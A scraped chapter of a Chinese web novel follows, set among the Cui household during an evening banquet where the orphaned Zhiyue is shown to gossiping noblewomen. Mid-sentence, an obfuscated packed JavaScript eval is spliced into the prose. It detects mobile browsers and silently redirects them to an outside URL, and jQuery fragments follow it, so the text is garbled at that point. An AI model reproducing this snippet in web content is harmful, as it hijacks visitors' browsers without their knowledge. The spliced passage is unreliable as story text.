默认冷灰
24号文字
方正启体

7. 雪泥鸿爪

作者:一只甜筒本书字数:K更新时间:
    云拽着天往下沉,降落在千阶万瓦的京城,老鸹鸟像一群给天老爷拉帘子的侍女,黑压压地飞过去,天就黑透了。


    芝月在屋里清理伤口,饶是玉李手轻,都叫她痛的呲牙咧嘴的。


    老太太房里的梅蕊过来催了四五回,最后一回站在门帘外头往里探头,听见三姑娘疼的声音,也不免嘶了两声,倒吸了一口凉气,说一句软话。


    “姑娘慢慢来,横竖一更才开席,收拾妥当了再来。”


    梅蕊转身去了,玉李就把手里托药的盘儿重重地掷在了桌上。


    “眼看着天都黑了,连个大夫的毛都没见着。昨儿刚伤了脸,今日就逼着姑娘上酒桌,崔家卖女儿的家风果然几十年不变。”


    芝月何尝不知道呢?她将视线落在铜镜里的这张脸,额角的发丝垂下来,将那一处伤遮住了,只要不摇头晃脑的,多半看不出来。


    “你去看看,垂花门上的灯挂起来了没有?”


    玉李依言出去,转过游廊绕过花园,远远地瞅了一眼,这便回了院里。


    “点上了,玉莹莹的一团光,客人要陆陆续续地来了。”


    芝月就站了起身,“咱们出去转转。”


    “要是遇上了什么人……”


    “外祖母非叫我亮相,那就让人家看看呗。”芝月穿过了第一道门帘儿,呼吸了一下傍晚时分的空气,“我寄人篱下,不好拂主人的意。”


    玉李咂摸着主人两个字,从其中品出了凄凉的意味,扶上了姑娘的手臂,叹了一气。


    芝月就拍了一下玉李的手腕,“别把运气都叹跑了,等歇点(1)到席上,顺两只枣花糕给你吃。”


    主仆两个就往花厅的地方去,看见花园里假山尖儿的时候,外院管跑腿的崔四裹迈着两条细腿儿往里冲,远远地看见一个粉团团的人,认出来是三姑娘,连忙刹住了脚,屈膝问安。


    “……姑娘的伤好些了吗?昨儿夜里小的跑断了腿,也没能给姑娘请来治伤的大夫,心中委实过意不去。”


    芝月知道其中的内情,并不在意,唤他起来,“这是往哪儿去?”


    “说起来真是破了天荒,北镇抚司来了位校尉,说前夜稽凶,损毁了咱们家的围墙,说是要替咱们修缮,小的这会儿去请老夫人定夺。”


    芝月闻言怔了一下,想到前夜诏狱里冲出来的那些虎狼,以及冲天的火光,不由得打了个激灵,她所居的院落就在崔府最靠诏狱巷子的位置,若是修围墙的话,她藏秘密的树就在墙边上,会不会由此暴露?


    想到这儿,芝月有些心神不宁,崔四裹回罢了话,觑了一眼三姑娘,这便躬身告辞,“小的先去禀告老夫人,姑娘好走。”


    玉李看着崔四裹的背影,有点怨念:“嘴上说着过意不去,也没见他再去请大夫。”


    “他不过也是奉命行事,做不了主。”芝月向前去,眼前一黑,有些晕晕的,“快饿昏了——”


    阖府上下吃不饱的日子,她是一天都不想过了,什么一尺七的腰,什么浑圆丰满的屁股,这两样神仙才能兼得吧?吃都吃不饱,坐下都硌屁股。


    她挺愿意吃席,再怎么端方典雅,都能多吃几口菜。


    主仆两个慢慢行,到了花厅门前,正撞上二姑奶奶崔簪碧挽着自家夫君殷叙的臂弯出来,瞧见芝月,就上下打量了一下,面上露出了无可奈何的神色。


    “大姐姐真是把你给掼坏了,见着人问安,就这么难以启齿?”崔簪碧打心眼里觉得自家这个外甥女少教,哼了一声,还是交待了几句,“崔胜家的水莲在,你叫她引着你去玻璃暖阁坐着。”


    崔簪碧说完了,横了芝月一眼便要走,却没拽动自家夫婿,回眼一看,殷叙的眼睛在自家外甥女脸上流连,心里的无名火一下子就烧到了头上。


    “还不进去,愣着干什么?”


    她冲着芝月的一声低斥,把芝月吓了一跳,赶忙低头进了花厅,崔簪碧见殷叙的视线还跟着追了进去,气的拿蓄了指甲的手狠狠地拧上了殷叙的胳膊,这才把他喊回了神。


    “你个万人!那可是我外甥!不过生的略微齐整些,你就这么不错眼珠的看!哪天遇上个天仙模样的,岂不是要爬上去□□?”


    殷叙吃痛却不怕,意犹未尽地搂上了崔簪碧的肩,把她往自己怀里挤,“啧啧,她何止是略微齐整?简直是绝色美人,仔细看,竟比你家大姐生的还要漂亮许多。”


    崔簪碧十分地恼火,抬手就要打殷叙,快要落到殷叙脸上时,手却叫他的嘴给吻上了,使劲亲了几口。


    “……你相中的那家,主母倒是个美人,说话时香气飘翻的,倒是个做亲家的好料子,老大老二呢?怎生到现在还不来?”


    崔簪碧听他说的不像样,只觉得又气又恼,提到女儿这才自己给自己顺了口气。


    “我叫她姊妹两个晚些来,到时候烛火点起来,朦朦胧胧一照,颜色更盛。”


    殷叙这时候有点燥热,搂着崔簪碧就往内书房里去,还没进屋手就伸进了自家夫人的衣襟里,好一顿伸舌乱啃,搂着抱着的就关上了门。


    花厅里有几个眼尖的,从窗子里看到了,笑而不语地收回了视线。


    “瞧瞧崔家那二姐儿,还同那个浪荡子爱的死去活来的,恩爱都不背人的!”


    “她男人可是入赘的?成日里在花街柳巷厮混,也不怕沾了脏病,他也算个朝廷命官,胆子怎的这么大?”


    “他算什么官儿,花钱买的!倒不是入赘,是他家败落了,索性厚着脸皮住进了崔家!要不是崔家老夫人把的紧,估摸着一家子都得住进来。”


    “崔家大姐儿在世的时候,还算个体面人家,如今你们瞧,那个搁花枝儿的高几,角都是破的。”


    几个贵妇人的视线就齐刷刷的落在花枝儿那里。


    崔家的景造的不错,花厅里屏风后头,分明是一面光墙,没挂画儿,只摆了一个高几,上头搁了一件儿“九重春色”的桃枝儿盆景,一旁点了高烛,光打在桃枝儿的花苞上,一片盈盈的水色。


    “……听说这崔檀之勤学,若是未来能在科举中有所进益,崔家就能有个撑门庭的,说不得能缓过来一口气。”


    “这崔檀之和崔家几个孙辈的不一样,听说他亲外公,是罗兆符!”


    这就又涉及到崔家老夫人的八卦秘闻,几个贵妇人显然意识到在这里不宜讨论这些事,各自使了个眼色,闭口喝茶。


    正准备改换下一个话题时,花厅门外进来一个仆妇,手里扶着一个纤弱的女儿家,正起步往这里来。


    几个贵妇人的眼珠子就挪不开了。


    普天下的女儿家,只要仔细描眉,用心梳洗,都各有一番韵致,再美一些的,目剪秋水,唇夺夏樱,观之叹其美丽,而眼前这位女儿家,除却好颜色以外,却自有一身烟霞外人的静美。


    她的一抬眼、一顿首,都缓而温柔,纤腰微晃时,裙摆轻动,像是古画上的美人翩然而下,柔若无骨。


    几个贵妇人不由地屏住了呼吸,在她走近时,都自发地歪头去看她垂着的眉眼,待看清了样貌之后,不免都生出了怜惜的神情。


    “这位是?”几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592045|187386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个贵妇人里最活络的,是太仆寺少卿徐嗣永的夫人常氏,她长得干练,有一双凌厉的眉眼,语气却是和顺的,叫住了芝月。


    引芝月进来的正是崔簪碧房里的仆妇水莲,听见问话了,规规矩矩地行了个礼回话。


    “回夫人的话,这是咱们家行三的姑娘。”


    “行三?可是崔嘉善的独养女儿?”常氏第一个反应过来,不由地上下打量了一番芝月,“先我没看出来,这么一说,果然通身都是崔大姑奶奶的气派……可怜了这孩子,叫老夫人养的怪好。”


    芝月听了,屈膝致谢,微抬了眼眸回话时,有意无意地偏了偏头,额角那块伤就露了一角出来。


    “恭请各位夫人安。芝月有礼了。”


    几个贵妇人听了入耳的声音,只觉纤柔婉转,说不出来的动听,没来由地起了怜惜之情,有人眼尖,瞧见了芝月额上的伤,讶异出声。


    “……怎生受了伤?要不要紧?”


    芝月听了,显而易见地慌了一下,忙把头垂得更低了,“是我莽撞,磕破了。”


    几个贵妇人见这女儿家躲闪的样子,相互对视了几眼,都觉察出了隐情,那水莲虽不知道事情始末,可三姑娘在家中的处境她是知道的,此时见这几位贵妇人狐疑的样子,有心遮掩,这便出声提醒道:“……玻璃暖房那里摆了点心吃食,姑娘快随奴婢去吧。”


    芝月的头越发低了,屈膝告辞,往玻璃暖房而去去。


    几个贵妇人瞧着这女儿家怯生生的背影,心里或多或少的,都升起了一丝怜悯。


    她们这些贵妇人,夫君的官职都不算太高,中不溜的京官,自己在家中教养孩子,对与自家孩子差不多年纪的,都天生抱有一些同理心,再加上崔嘉善当年在京城,凭借才学美貌曾经盛极一时、风光无两,可她的女儿却如此怯懦胆小,额上还有可怕的伤痕,都难免生出些唏嘘。


    几人都不知道该说些什么,抬眼一看,又有三个贵妇人由游廊那里走过来,个个都打扮的花团锦簇,样貌也是极好,同她们一波人又是不同的风格,偏浓烈活泼些。


    常氏这边三个好友,皆是贤良淑德的打扮,而再来的这几位夫人,许是夫君都是同礼乐、音律、出游有关的官员的缘故,她们的性子也都十分张扬活泼,穿着上也是或水红、或鹅黄、或艳紫,瞧上去很是鲜活生动。


    最前头来的叫冯郁郁,是太常寺少卿家的夫人,后头错一个肩头跟着的是上林苑右监正的夫人邓青昀,以及教坊司奉銮知事的夫人林喧。


    常氏身后的胡氏撇了撇嘴,看不惯地扭回了头,“这几位可真是招摇,也不怕给自家儿女招祸。”


    “……儿女都是同窗,担待些吧。”常氏劝了一句,见冯氏几个人到了跟前,这便颔首打了声招呼,“快开席了你们来了,可见是嫌咱们聒噪,不愿意来说话。”


    冯氏是能开得起玩笑的,闻言笑着回应她的打趣,“你们养的孩子,上进的上进、勤学的勤学,我们几个巴不得要同你们取取经,紧赶慢赶的来了——”


    常氏就引着几位入了座,邓青昀第一个开口,问的是崔家的二姑奶奶崔簪碧,“好几年没见着崔二了,哪有把客人撂在这儿,主人却不见了的?”


    林萱也跟了一句,她性子冷,笑起来就有些阴测测的,“若是崔大在,可闹不出这样的事。”


    “这会儿你又念起崔大的好来了?过了黄梅天才买蓑衣——晚喽!”冯氏调侃了一句,倒叫林萱闭了嘴。


    议论离世的人,总归是不吉利的,席间人就都默契的改换了话题。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)